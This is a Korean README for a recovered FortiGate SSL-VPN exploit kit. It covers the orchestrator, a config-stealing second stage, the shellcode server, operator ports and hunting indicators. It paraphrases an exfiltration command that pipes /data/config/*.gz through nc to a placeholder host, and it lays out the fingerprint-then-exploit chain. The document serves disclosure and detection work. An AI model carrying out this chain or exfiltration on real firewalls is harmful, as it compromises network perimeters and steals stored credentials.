The FortiGate SSL-VPN의 금광. CVE-2024-21762 및 CVE-2023-27997. 79개의 작동하는 익스플로잇 클라이언트. 53개의 하드웨어 SKU. 55개의 FortiOS 빌드.
연구 아카이브. 발견된 그대로 회수됨. 이 파일들은 제가 작성한 것이 아닙니다.
공개일: 2026년 9월 1일
이 저장소는 SKU별 FortiGate SSL-VPN 익스플로잇 카탈로그 위에 위치하는 오케스트레이터, 2차 페이로드, 운영자 리스너입니다. 전체 스토리, 수치, 헌팅 노트는 Abraxas Labs의 시리즈 The SSL-VPN pot of gold 에 있습니다.
이 자료를 실행하지 마십시오. 이 저장소를 호스팅하는 당사자와 대상 시스템 소유자 모두의 명시적 서면 허가 없이는 어떤 호스트에 대해서도 실행하지 마십시오. 관련 CVE는 이 공개 이전에 이미 공개되었고 패치되었습니다. 이 트리는 연구, 탐지, 역사적 분석을 위한 것입니다.
야생에서 비공개 FortiGate SSL-VPN 키트를 발견했습니다. 첫 번째 드롭은 작동하는 클라이언트들의 디렉토리였습니다: exp/exp_60E-v6.4.7.py, exp/exp_1000D-v7.4.0.py 같은 이름들. 각 파일은 메모리 손상 클라이언트입니다. 두 개의 공개 n-day가 하드웨어와 펌웨어 전반에 걸쳐 재스탬프되어 폴더가 부품 카탈로그처럼 보일 때까지 확장되었습니다.
진짜 가치는 오프셋 매트릭스이지, 새로운 버그가 아닙니다. 그 논증은 시리즈의 Phase 0에 있습니다. Phase 1은 두 프리미티브를 동작으로 다룹니다. Phase 2는 검색 가능한 SKU / 트레인 / CPU 맵입니다. Phase 3은 헌팅입니다.
이 저장소는 동일한 키트의 나머지 부분이지, 두 번째 익스플로잇 패밀리가 아닙니다.
exp/ 프로그램들은 시리즈에서 이미 설명된 이미지별 클라이언트입니다.shellcode/ 파일들은 해당 클라이언트들이 호출하도록 작성된 런처, 임플란트 페치, 설정 탈취 리스너입니다.exp_*.py 파일들은 임플란트를 포함하지 않았습니다. 그들은 (1) "셸코드 서버"에서 원시 바이트를 가져오거나 (2) GET /s.js 후 eval하는 것만 알았습니다. 그 누락된 부분들이 여기 있습니다.프리미티브:
둘 다 CISA의 알려진 익스플로잇 취약점 카탈로그에 있습니다. poc.py는 두 CVE 중 어느 것도 구현하지 않습니다. 이미 분류된 두 패밀리(청크 쓰기 21762; enc= 힙 오버플로 27997)를 선택하고 래핑합니다.
.
├── poc.py # pocsuite3 런처 / 핑거프린트 / 프로세스 매니저
├── s.js # Node 2차 스테이지 (설정 탈취기)
├── send_cmd.py # 스테이저 경로용 콜백 핸들러
├── init.sh # 운영자 워크스테이션 패키지 설치
├── requirements.txt # pwntools
├── exp/
│ └── exp_<SKU>-v<FortiOS>.py
└── shellcode/
├── shellcode_server.py # 길이 프리픽스 블롭 펌프
├── shellcode_arm # ~2.0 MB 원시 2차 스테이지
└── shellcode_amd64 # ~2.7 MB 원시 2차 스테이지
exp/index.html과 shellcode/index.html은 일반적인 Python http.server 디렉토리 목록입니다. 이 트리가 한때 웹 루트로 호스팅되었음을 보여줄 뿐입니다.
이 exp/ 사본은 이전 카탈로그에 4개의 추가 클라이언트가 더해진 것입니다: exp_30E-v6.2.4.py, exp_30E-v6.2.12.py, exp_30E-v6.2.14.py, exp_40F-v7.0.5.py.
poc.py 오케스트레이터 (pocsuite3)
│
├─ 핑거프린트 포털 ─────── VERSION_LIBS (해시 → SKU + FortiOS)
├─ 파일 선택 ──────────────── exp/exp_<SKU>-v<ver>.py
│
├─ 클라이언트가 "스테이저" 종류인 경우 (패밀리 A ARM / 일부 amd64)
│ shellcode/shellcode_server.py 시작
│ shellcode/shellcode_arm 또는 shellcode_amd64 읽기
│ send_cmd.py 시작 (콜백 대기)
│ :9999에서 설정 수신기 시작
│ 선택된 exp_*.py 실행
│
└─ 클라이언트가 "Node /s.js" 종류인 경우 (대부분 패밀리 B + 많은 패밀리 A)
HTTP로 s.js 서빙
:9999에서 설정 수신기 시작
선택된 exp_*.py 실행
→ 방화벽 GET /s.js → eval → 외부 유출
한 줄로 된 파이프라인: 식별 → 오프셋 파일 선택 → sslvpnd 손상 → 임플란트 가져오기 → /data/config/*.gz 외부 유출 → 운영자 측에서 아카이브.
마지막 단계가 핵심입니다. 히트는 방화벽 자체의 sslvpnd에서의 인증 없는 코드 실행입니다 — TLS 터미네이터, 라우팅 정책, VPN 세션, 종종 LDAP/RADIUS 바인딩. FortiOS는 유용한 /bin/sh를 제공하지 않습니다. 공개 연구와 이 키트 모두 내부 명령 헬퍼 및/또는 FortiOS가 실제로 포함하는 /bin/node를 통해 진행됩니다. 확인된 히트는 네트워크 경계의 손상으로 취급하십시오, 충돌한 데몬이 아닙니다. 히트의 의미를 참조하십시오.
poc.py — 런처운영자 프론트 엔드 (pocsuite3 POCBase). CVE-2024-21762 또는 CVE-2023-27997을 구현하지 않습니다.
https://<target>/remote/login?lang=en을 가져옵니다 (폴백 GB2312)./sslvpn/js/login.js?q=<md5>에서 캐시 버스터 해시를 가져옵니다.VERSION_LIBS(182개의 hash,SKU,version 행)에서 조회합니다. 이 테이블이 키트가 운영자가 SKU를 지정하지 않고도 50개 이상의 어플라이언스 중에서 선택할 수 있는 이유입니다. 매트릭스와 동일한 SKU이며, SNMP나 관리 API가 아닌 공개 SSL-VPN 리소스 해시로 구동됩니다.exp/exp_<SKU>-v<version>.py를 확인합니다.s.js 포함 → 종류 2 (Node 로더)Shellcode Server 언급 → 종류 1 (스테이저); 그런 다음 스크립트에서 arm vs amd64 확인exp_*.py를 Popen합니다.이 사본의 기본 운영자 주소: 환경 변수의 HOST_IP, 그 외에는 ATTACKER_HOST. 이 트리의 리터럴 IPv4 주소는 역할 레이블로 대체되었습니다 (포트는 변경되지 않음):
| 레이블 | 역할 | 나타난 위치 |
|---|---|---|
TARGET_HOST | 공격 대상 FortiGate | 하드코딩 없음; argv의 rhost / target (poc.py 참조) |
ATTACKER_HOST | 운영자 워크스테이션 | poc.py의 기본 HOST_IP; poc.py, send_cmd.py, shellcode/shellcode_server.py의 바인드 주소; lhost로 채워지는 exp_*.py s.js / TFTP 플레이스홀더 |
C2_HOST | 이 임플란트 사본에 구워진 콜백 | s.js — 익스플로잇에 전달된 lhost가 아님 |
| 포트 | 역할 |
|---|---|
| 7777 | 콜백 / send_cmd.py |
| 8888 | 셸코드 서버 |
| 9999 | 설정 수신기 (s.js 및 send_cmd.py 외부 유출과 일치) |
포털 해시가 VERSION_LIBS에 없으면 "unknown target hash"로 중지합니다. 해시가 일치하지만 exp/ 파일이 없으면 "no exp"입니다.
s.js — 누락된 Node 2차 스테이지이것은 패밀리 B / Node 패밀리 A 클라이언트가 execute_cmd 후에 가져오는 파일입니다. 일반적인 리버스 셸이 아닙니다.
C2_HOST:9999 (C2 호스트, TARGET_HOST도 익스플로잇에 전달된 lhost / ATTACKER_HOST도 아님 — 이 사본은 단일 운영자 콜백용으로 구워졌습니다)./data/config/를 읽습니다.*.gz 파일을 가져옵니다 (FortiOS 압축 설정 객체).이것은 설정 탈취기입니다. 이것이 poc.py가 9999에서도 수신하고 파일을 base64 결과로 재조립하는 이유를 설명합니다. 모든 FortiGate 이그레스에서 포트 9999의 C2_HOST를 사냥하십시오. 헌팅 노트: Phase 3.
send_cmd.py — 스테이저 경로용 콜백 핸들러선택된 exp_*.py가 ARM/amd64 셸코드 종류일 때 사용됩니다 (사용법에 셸코드 서버 포함).
cd /data/config 및 모든 *.gz를 nc <LHOST> 9999로 cat.s.js와 동일한 목표 (설정 탈취), 다른 전송 (Node 대신 셸 콜백).주석 처리된 변형은 원시 cat 대신 base64 프레이밍을 사용했습니다.
shellcode/shellcode_server.py — 패밀리 A 스테이저용 바이트 펌프ARM32 exp_*.py 스텁에서 이미 볼 수 있는 프로토콜과 일치합니다:
poc.py는 8888 사용).shellcode_<arch> 블롭 전송.exp_*.py 스테이저는 여기에 연결하고, 쓰기-실행 가능 메모리를 매핑하고, 블롭을 가져온 다음 lhost:lport(7777 → send_cmd.py)로 다시 연결합니다.
원시 2차 스테이지 블롭 (~2.0 MB ARM, ~2.7 MB amd64). 스테이저가 다운로드하는 것입니다. Python 파일 내부의 작은 Thumb 스텁이 아닙니다; 그 스텁들은 이 파일들을 가져오기만 합니다. Node가 아닌 경로의 임플란트로 취급하십시오. 크기는 몇 십 개의 명령어가 아닌 패킹되거나 정적인 페이로드를 시사합니다.
init.sh — 운영자 워크스테이션 설정방화벽에 사용되지 않습니다. build-essential, binutils-arm-linux-gnueabihf, gcc-aarch64-linux-gnu를 설치합니다. Debian 계열 공격 박스에서 ARM/AArch64 부품을 빌드하기 위한 것입니다. Python만 배포하지 않고 스테이저를 컴파일하는 작성자와 일치합니다.
한 줄: pwntools. exp_*.py 파일과 shellcode_server.py가 이를 import합니다. poc.py는 또한 pocsuite3, python-dotenv, mmh3, requests를 필요로 합니다.
exp/ 클라이언트와의 관계| 시리즈에서 이미 설명됨 | 이 트리에서의 역할 |
|---|---|
패밀리 A ARM exp_*.py (스테이저 인자) | 1차 스테이지. shellcode_server.py + shellcode_arm (또는 amd64) 호출, 그 다음 lhost:7777. |
패밀리 A/B Node exp_*.py (/s.js) | 1차 스테이지. 상위 s.js의 HTTP GET, 그 다음 eval. |
6.0 D-시리즈 TFTP / /tmp/s 변형 | TFTP를 통한 동일한 s.js 목표; 여전히 운영자 HTTP 루트에서 이 파일을 기대합니다. |
상위 디렉토리의 어떤 것도 세 번째 CVE를 구현하지 않습니다. 수치, SKU 히트맵, 트레인 정렬 (패밀리 A는 7.4.0 / 7.4.1까지; 패밀리 B는 27997 윈도우 내)은 Phase 0 및 Phase 2에 있습니다. 원본 카탈로그에서 가장 많이 재타게팅된 것: FortiGate-60E, 100E, 60F, 100F — 지사 하드웨어.
첫 번째 드롭은 "콜백 받기"에서 멈췄습니다. 2차 스테이지 본문이 누락되었습니다. 이 트리는 목표를 명시적으로 만듭니다:
/data/config/*.gz에서 FortiOS 설정 탈취, "일반 RCE"가 아닙니다. 이는 자격 증명 및 토폴로지 손상입니다 (VPN 사용자, 경로, 해당 객체에 저장된 비밀).poc.py의 VERSION_LIBS 는 "이 해시가 어떤 SKU라고 생각했는지"에 대한 기성 목록입니다.포털 정찰 및 1차 스테이지 URI는 Hunting the kit에 문서화되어 있습니다. 공개 글과 이 트리에서 이미 언급된 특징적인 것들:
GET /remote/login 및 /sslvpn/js/login.js?q=/aaaa/bbbb, /remote/error, /remote/info, /remote/hostcheck_validate with enc=GET /s.jss.js 사본 내부에 구워진 C2 C2_HOST:9999 (C2 호스트)ATTACKER_HOST 포트 7777 / 8888 / 9999의 운영자 리스너 (공격자 호스트)TARGET_HOST 는 실행 시 제공되는 rhost방화벽 (TARGET_HOST)에서 C2_HOST:9999로, 그리고 관련 기간 동안 /s.js를 서빙한 모든 ATTACKER_HOST로의 이그레스를 사냥하십시오.
소개에서:
VM에 대한 공개 PoC는 다른 아티팩트입니다. 이 팩은 정찰에 응답한 사람을 위한 것입니다.
FortiGate를 운영한다면: 모델, 정확한 FortiOS, SSL-VPN 켜짐/꺼짐, 포털이 신뢰할 수 없는 네트워크에서 도달 가능했는지 인벤토리하십시오. 그런 다음 Phase 2를 읽으십시오. 해당 파일명이 가장 두드러졌다고 해서 60-시리즈 지사 박스만 인벤토리하지 마십시오.
이 파일들은 독립적인 보안 연구 중 야생에서 회수되었습니다. 제가 만든 것이 아닙니다. 관련 CVE가 공개적으로 공개되고 패치된 후 발견된 그대로 공개됩니다.
연구 / 교육 목적으로만 사용하십시오. 이 저장소를 호스팅하는 당사자와 대상 시스템 소유자 모두의 명시적 서면 허가 없이는 어떤 호스트에 대해서도 이 자료를 실행, 배포 또는 사용하지 마십시오.